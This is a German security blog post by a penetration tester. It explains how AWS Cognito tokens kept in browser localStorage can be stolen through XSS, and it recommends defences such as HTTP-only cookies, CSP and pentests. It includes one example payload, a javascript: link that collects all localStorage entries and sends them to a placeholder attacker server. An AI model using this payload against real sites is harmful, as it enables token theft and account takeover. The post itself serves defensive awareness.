Cloud-Dienste wie Amazon Web Services (AWS) erfreuen sich eine immer größeren Beliebtheit. Cognito ist einer der zahlreichen Services, die AWS anbietet. AWS Cognito ist ein weitverbreiteter Dienst zur Benutzerverwaltung und Authentifizierung, der in vielen Anwendungen genutzt wird. Doch wie bei allen Technologien gibt es auch hier Risiken, die oft unterschätzt werden. In diesem Beitrag analysieren wir eine spezifische Schwachstelle von AWS Cognito, die durch Cross-Site Scripting (XSS) ausgenutzt werden kann, um Benutzerkonten zu übernehmen und sensible Daten zu stehlen. Diese Analyse richtet sich an Entwickler, CISOs und IT-Verantwortliche, die ihre Anwendungen sicherer machen möchten.
Einführung in AWS Cognito
AWS Cognito bietet Entwicklern eine einfache Möglichkeit, Benutzerkonten zu verwalten und Authentifizierungsprozesse zu integrieren. Es ermöglicht die Anmeldung und Registrierung von Benutzern, die Verwaltung von Benutzerpools und die Authentifizierung über verschiedene Identitätsanbieter wie Google, Facebook und SAML. Zwei zentrale Konzepte in AWS Cognito sind User- und Identity Pools
User Pools
Ein User Pool ist ein Benutzerverzeichnis, das alle Informationen über die registrierten Benutzer speichert. Es verwaltet die Anmeldung und Registrierung, bietet Passwortwiederherstellung, Multi-Faktor-Authentifizierung (MFA) und andere benutzerbezogene Funktionen. User Pools sind darauf ausgelegt, die Benutzererfahrung zu verbessern und die Verwaltung von Benutzerkonten zu vereinfachen.
Identity Pools
Ein Identity Pool ermöglicht es, temporäre AWS-Anmeldeinformationen zu erstellen, um den Zugriff auf AWS-Dienste zu steuern. Es kombiniert Identitäten aus verschiedenen Quellen, wie z.B. User Pools, soziale Identitätsanbieter (wie Google oder Facebook) oder benutzerdefinierte Identitäten. Identity Pools sind nützlich, um Benutzeridentitäten in AWS-Ressourcen zu integrieren und Zugriffssteuerungen zu implementieren.
Das Problem
Eine der gravierendsten Schwachstellen von AWS Cognito ist die Speicherung von Tokens im lokalen Speicher des Browsers. Diese Tokens umfassen ID-, Access- und Refresh-Token:
-
ID-Token: Enthält Informationen über den Benutzer, wie zum Beispiel den Benutzernamen und die E-Mail-Adresse. Es wird hauptsächlich verwendet, um den Benutzer innerhalb der Anwendung zu identifizieren. Der ID-Token kann zudem auch für den Austausch gegen einen X-AMZ-Security-Token verwendet werden, der für den Zugriff auf AWS-Ressourcen erforderlich ist.
-
Access-Token: Wird genutzt, um Zugriff auf geschützte Ressourcen und APIs zu gewähren. Es enthält Informationen über die Berechtigungen des Benutzers.
-
Refresh-Token: Dient dazu, ein neues Access-Token zu erhalten, wenn das aktuelle abgelaufen ist, ohne dass der Benutzer sich erneut anmelden muss.
Diese Methode der Speicherung ist jedoch anfällig für XSS-Angriffe (Cross-Site Scripting). Ein Angreifer könnte schädlichen Code in die Anwendung einschleusen, wodurch es ihm möglich wäre, die Tokens aus dem lokalen Speicher auszulesen und zu stehlen.
Was ist XSS?
XSS steht für Cross-Site Scripting, eine Sicherheitslücke, die es Angreifern ermöglicht, bösartige Skripte in Webseiten einzufügen. Diese Skripte können auf sensible Daten zugreifen, Cookies stehlen oder Benutzerinteraktionen manipulieren. Es gibt verschiedene Arten von XSS-Angriffen, darunter Stored XSS, Reflected XSS und DOM-Based XSS.
Die Gefahr im Detail
Wenn die Client-Anwendung Benutzereingaben nicht zuverlässig sanitisiert (bereinigt), HTML-encoded oder eine gute Content Security Policy (CSP) implementiert, kann ein Angreifer sehr einfach via JavaScript den lokalen Speicher des Browsers auslesen und die Tokens stehlen. Mit diesen Tokens kann der Angreifer die Identität des Opfers übernehmen und auf alle Ressourcen zugreifen, für die der Token Berechtigungen hat. Dies kann zu schwerwiegenden Sicherheitsverletzungen führen, insbesondere wenn die Anwendung sensible Daten oder wichtige Funktionen bereitstellt.
Beispiel für einen XSS-Angriff
<a href="javascript:
(function()
{
var data='';
for(var i=0;i<localStorage.length;i++)
{
var key=localStorage.key(i);
data+=key+'='+localStorage.getItem(key)+'&';
}
var img=new Image();
img.src='https://<ATTACKER_SERVER>/?'+encodeURIComponent(data);
})();">
Click me
</a>
In diesem Beispiel nutzt der Angreifer eine manipulierte URL, die JavaScript ausführt, um den gesamten Inhalt des lokalen Speichers auszulesen und an einen Server des Angreifers zu senden. Der Angreifer kann dann die gestohlenen Tokens verwenden, um sich als das Opfer auszugeben und Zugriff auf geschützte Ressourcen zu erhalten.
Schutzmaßnahmen gegen XSS und Token-Diebstahl
Um sich vor diesen Angriffen zu schützen, gibt es mehrere Maßnahmen, die Entwickler ergreifen können:
-
Vermeidung von XSS-Lücken: Die wichtigste Maßnahme ist, XSS-Schwachstellen in der Anwendung zu vermeiden. Dies kann durch die Validierung und Filterung von Benutzereingaben sowie die Verwendung sicherer Kodierungspraktiken erreicht werden.
-
Sicherer Umgang mit Tokens: Tokens sollten nicht im lokalen Speicher gespeichert werden, da dieser für XSS-Angriffe anfällig ist. Stattdessen sollten sicherere Speichermethoden wie HTTP-Only Cookies verwendet werden, die für JavaScript nicht zugänglich sind.
-
Content Security Policy (CSP): CSP ist eine zusätzliche Sicherheitsmaßnahme, die die Ausführung von nicht vertrauenswürdigem Skriptinhalt auf einer Webseite einschränkt. Dies kann dazu beitragen, das Risiko von XSS-Angriffen zu minimieren.
-
Regelmäßige Sicherheitsüberprüfungen: Anwendungen sollten regelmäßig auf Sicherheitslücken überprüft werden, um sicherzustellen, dass sie gegen die neuesten Bedrohungen geschützt sind. Hierfür eignen sich Penetrationstests (Pentests) sehr gut, da sie systematisch nach Schwachstellen suchen und die Sicherheitslage einer Anwendung umfassend beurteilen können.
Fazit
AWS Cognito ist ein leistungsfähiges Werkzeug zur Benutzerverwaltung und Authentifizierung, doch wie bei allen Technologien gibt es auch hier potenzielle Sicherheitsrisiken. Die unsichere Speicherung von Tokens im lokalen Speicher stellt eine erhebliche Gefahr dar, insbesondere in Kombination mit XSS-Angriffen. Dieses Problem wurde bereits 2018 gemeldet, jedoch hat AWS bisher keine Änderungen vorgenommen, um diese Schwachstelle zu beheben.
Entwickler müssen sich der Gefahr von XSS-Angriffen und der unsicheren Speicherung von Tokens im lokalen Speicher bewusst sein. Durch die Implementierung geeigneter Sicherheitsmaßnahmen, wie die Vermeidung von XSS-Lücken, den sicheren Umgang mit Tokens, die Nutzung von Content Security Policies und regelmäßige Sicherheitsüberprüfungen, können diese Risiken jedoch minimiert werden. Insbesondere Penetrationstests sind eine wertvolle Methode, um Schwachstellen systematisch zu identifizieren und die Sicherheitslage einer Anwendung umfassend zu beurteilen.
Max Randhahn
Max ist ein engagierter Penetration Tester und verfügt über eine umfassende Erfahrung in der Identifizierung und Ausnutzung von Schwachstellen.